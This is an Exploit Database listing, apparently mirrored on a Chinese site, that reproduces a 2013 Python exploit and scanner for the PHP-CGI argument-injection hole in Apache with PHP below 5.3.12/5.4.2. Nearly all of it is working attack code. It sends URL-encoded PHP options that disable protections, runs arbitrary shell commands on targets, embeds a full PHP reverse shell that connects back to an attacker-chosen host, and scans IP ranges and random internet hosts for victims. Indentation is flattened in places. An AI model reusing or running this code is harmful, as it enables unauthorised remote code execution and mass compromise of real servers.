Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner

• Exploit Database
• 17 阅读

• 作者： noptrix
  日期： 2013-10-31
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29316/

• #!/usr/bin/env python
  #
  # ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit
  #
  # NOTE:
  # - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((
  # - for connect back shell start netcat/nc and bind port on given host:port
  # - is ip-range scanner not is multithreaded, but iz multithreaded iz in
  # random scanner and is scanner from file (greets to MustLive)
  # - more php paths can be added
  # - adjust this shit for windows b0xes
  #
  # 2013
  # by noptrix - http://nullsecurity.net/
  
  import sys, socket, argparse, threading, time, random, select, ssl
  
  
  NONE = 0
  VULN = 1
  SCMD = 2
  XPLT = 3
  
  t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \
  '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \
  '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \
  '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\
  '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\
  'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'
  
  
  def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
  c0nn_b4ck = \
  '''
  <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
  $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
  $error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i";
  $daemon = 0;
  $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
  if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
  exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {
  printit("$errstr ($errno)");exit(1);}$descriptorspec = array(
  0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
  $process = proc_open($shell, $descriptorspec, $pipes);
  if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
  printit("Successfully opened reverse shell to $ip:$port");while (1) {
  if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
  if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
  	$read_a = array($sock, $pipes[1], $pipes[2]);
  $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
  	$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);
  	if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
  	if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);
  fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
  function printit ($string) {if (!$daemon) {print "$string\n";}}?>
  '''
  return c0nn_b4ck
  
  
  def enc0dez():
  n33dz1 = ('cgi-bin', 'php')
  n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',
  'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',
  'open_basedir=none', '-d', 'auto_prepend_file=php://input',
  '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',
  '-d', 'auto_prepend_file=php://input', '-n')
  fl4g = 0
  arg5 = ''
  p4th = ''
  plus = ''
   
  for x in n33dz2:
  if fl4g == 1:
  plus = '+'
  arg5 = arg5 + plus + \
  ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
  fl4g = 1
  for x in n33dz1:
  p4th = p4th + '/' + \
  ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
  return (p4th, arg5)
  
  
  def m4k3_p4yl0rd(p4yl0rd, m0de):
  p4th, arg5 = enc0dez()
  if m0de == VULN:
  p4yl0rd = t3st
  elif m0de == SCMD or m0de == XPLT:
  p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \
  'Host: ' + sys.argv[1] + '\r\n' \
  'Content-Type: application/x-www-form-urlencoded\r\n' \
  'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd
  return p4yl0rd
  
  
  def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck):
  pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
  s = d0_c0nn3ct(args)
  try:
  ss = socket.ssl(s)
  except:
  print "-> n0 w3bs3rv3r 0n %s" % (args.h)
  return
  if m0de == VULN:
  p4yl0rd = m4k3_p4yl0rd('', m0de)
  ss.write(p4yl0rd)
  try:
  d4t4 = ss.read(8192)
  except:
  return
  for p in pat:
  if p in d4t4:
  print "-> " + args.h + " vu1n"
  return args.h
  else:
  if args.v:
  print "-> %s n0t vu1n" % (args.h)
  return
  elif m0de == SCMD:
  p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
  ss.write(p4yl0rd)
  rd, wd, ex = select.select([s], [], [], float(args.T))
  if rd:
  for l1n3 in ss.read():
  sys.stdout.write(l1n3)
  elif m0de == XPLT:
  p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
  ss.write(p4yl0rd)
  else:
  if args.v:
  print "-> n0 w3bs3rv3r 0n %s" % (args.h)
  return
  
  
  def s3nd_sh1t(args, m0de, c0nn_b4ck):
  pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
  s = d0_c0nn3ct(args)
  if s:
  if m0de == VULN:
  p4yl0rd = m4k3_p4yl0rd('', m0de)
  s.sendall(p4yl0rd)
  try:
  d4t4 = s.recv(8192)
  except:
  return
  for p in pat:
  try:
  if p in d4t4:
  print "-> " + args.h + " vu1n"
  if args.f:
  wr1te_fil3(args)
  return args.h
  else:
  if args.v:
  print "-> %s n0t vu1n" % (args.h)
  return
  except:
  return
  elif m0de == SCMD:
  p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
  s.sendall(p4yl0rd)
  rd, wd, ex = select.select([s], [], [], float(args.T))
  if rd:
  try:
  for l1n3 in s.makefile():
  print l1n3,
  except:
  return
  elif m0de == XPLT:
  p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
  s.sendall(p4yl0rd)
  else:
  if args.v:
  print "-> c0uld n0t c0nn3ct t0 %s" % (args.h)
  return
  
  
  def d0_c0nn3ct(args):
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(float(args.t))
  res = s.connect_ex((args.h, int(args.p)))
  if res == 0:
  return s
  except socket.error:
  return
  return
  
  
  def m4k3_r4nd_1p4ddr(num):
  h0sts = []
  for x in range(int(num)):
  h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),
  random.randrange(0,255), random.randrange(0,255),
  random.randrange(0,255)))
  return h0sts
  
  
  def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb):
  args.h = h0st.rstrip()
  if args.S:
  s3nd_sh1t_ss1(args, m0de, None)
  else:
  s3nd_sh1t(args, m0de, None)
  return
  
  
  def sc4n_r4ng3(args, m0de, rsa, rsb):
  vu1nz = []
  for i in range (rsa[0], rsb[0]):
  for j in range (rsa[1], rsb[1]):
  for k in range (rsa[2], rsb[2]):
  for l in range(rsa[3], rsb[3]):
  args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)
  if args.S:
  s3nd_sh1t_ss1(args, m0de, None)
  else:
  s3nd_sh1t(args, m0de, None)
  return
  
  
  def m4k3_ipv4_r4ng3(iprange):
  a = tuple(part for part in iprange.split('.'))
  rsa = (range(4))
  rsb = (range(4))
  for i in range(0,4):
  ga = a[i].find('-')
  if ga != -1:
  rsa[i] = int(a[i][:ga])
  rsb[i] = int(a[i][1+ga:]) + 1
  else:
  rsa[i] = int(a[i])
  rsb[i] = int(a[i]) + 1
  return (rsa, rsb)
  
  
  def parse_args():
  p = argparse.ArgumentParser(
  usage='\n\n./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \
  '[0pt1ons]\n./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\
  ' [0pt1ons]',
  formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)
  opts = p.add_argument_group('0pt1ons', '')
  opts.add_argument('-h', metavar='wh1t3h4tz.0rg',
  help='| t3st s1ngle h0st f0r vu1n')
  opts.add_argument('-p', default=80, metavar='80',
  help='| t4rg3t p0rt (d3fau1t: 80)')
  opts.add_argument('-S', action='store_true',
  help='| c0nn3ct thr0ugh ss1')
  opts.add_argument('-c', metavar='\'uname -a;id\'',
  help='| s3nd c0mm4nds t0 h0st')
  opts.add_argument('-x', metavar='192.168.0.2:1337',
  help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')
  opts.add_argument('-s', action='store_true',
  help='| t3st s1ngl3 h0st f0r vu1n')
  opts.add_argument('-r', metavar='133.1.3-7.7-37',
  help='| sc4nz iP addr3ss r4ng3 f0r vu1n')
  opts.add_argument('-R', metavar='1337',
  help='| sc4nz num r4nd0m h0st5 f0r vu1n')
  opts.add_argument('-t', default=2, metavar='2',
  help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)')
  opts.add_argument('-T', default=2, metavar='2',
  help='| r3ad t1me0ut in s3x (d3fau1t: 3)')
  opts.add_argument('-f', metavar='vu1n.lst',
  help='| wr1t3 vu1n h0sts t0 f1l3')
  opts.add_argument('-i', metavar='sc4nz.lst',
  help='| sc4nz h0sts fr0m f1le f0r vu1n')
  opts.add_argument('-v', action='store_true',
  help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')
  args = p.parse_args()
  if not args.h and not args.r and not args.R and not args.i:
  p.print_help()
  sys.exit(0)
  return args
  
  
  def wr1te_fil3(args):
  try:
  f = open(args.f, "a+")
  f.write(args.h + "\n")
  f.close()
  except:
  sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT')
  sys.stderr.write('\n')
  raise SystemExit()
  return
  
  
  def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb):
  num_h0sts = len(h0sts)
  num = 0
  try:
  if args.r:
  sc4n_r4ng3(args, m0de, rsa, rsb)
  else:
  for h0st in h0sts:
  num += 1
  if args.v:
  sys.stdout.flush()
  sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) +
  "] ")
  else:
  sys.stdout.flush()
  sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) +
  "/" + str(num_h0sts) + "\b")
  t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de,
  vu1nz, None, None))
  t.start()
  t.join()
  except KeyboardInterrupt:
  sys.stdout.flush()
  sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
  raise SystemExit
  return
  
  
  def c0ntr0ller():
  vu1nz = []
  m0de = NONE
  try:
  args = parse_args()
  if args.h:
  if args.s:
  print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)
  m0de = VULN
  if args.S:
  s3nd_sh1t_ss1(args, m0de, None)
  else:
  s3nd_sh1t(args, m0de, None)
  elif args.c:
  print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)
  m0de = SCMD
  if args.S:
  s3nd_sh1t_ss1(args, m0de, None) 
  else:
  s3nd_sh1t(args, m0de, None)
  elif args.x:
  print "[+] xpl0it1ng b0x %s " % (args.h)
  m0de = XPLT
  if args.x.find(':') != -1:
  if not args.x.split(':')[1]:
  print "[-] 3rr0r: p0rt m1ss1ng"
  else:
  cb_h0st = args.x.split(':')[0]
  cb_p0rt = args.x.split(':')[1]
  else:
  print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"
  c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)
  if args.S:
  s3nd_sh1t_ss1(args, m0de, c0nn_b4ck)
  else:
  s3nd_sh1t(args, m0de, c0nn_b4ck)
  else:
  print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"
  sys.exit(-1)
  if args.r:
  print "[+] sc4nn1ng r4ng3 %s " % (args.r)
  m0de = VULN
  rsa, rsb = m4k3_ipv4_r4ng3(args.r)
  run_threads(args, None, m0de, None, rsa, rsb)
  if args.R:
  print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))
  m0de = VULN
  h0sts = m4k3_r4nd_1p4ddr(int(args.R))
  run_threads(args, h0sts, m0de, vu1nz, None, None)
  if args.i:
  print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)
  m0de = VULN
  h0sts = tuple(open(args.i, 'r'))
  run_threads(args, h0sts, m0de, vu1nz, None, None)
  except KeyboardInterrupt:
  sys.stdout.flush()
  sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
  raise SystemExit
  return
  
  
  def m41n():
  if__name__ == "__main__":
  print "--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--"
  c0ntr0ller()
  else:
  print "[-] 3rr0r: y0u fuck3d up dud3"
  sys.exit(1)
  print "[+] h0p3 1t h3lp3d"
  
  
  # \o/ fr33 requiem 1337 h4x0rs ... 
  m41n()
  
  # e0F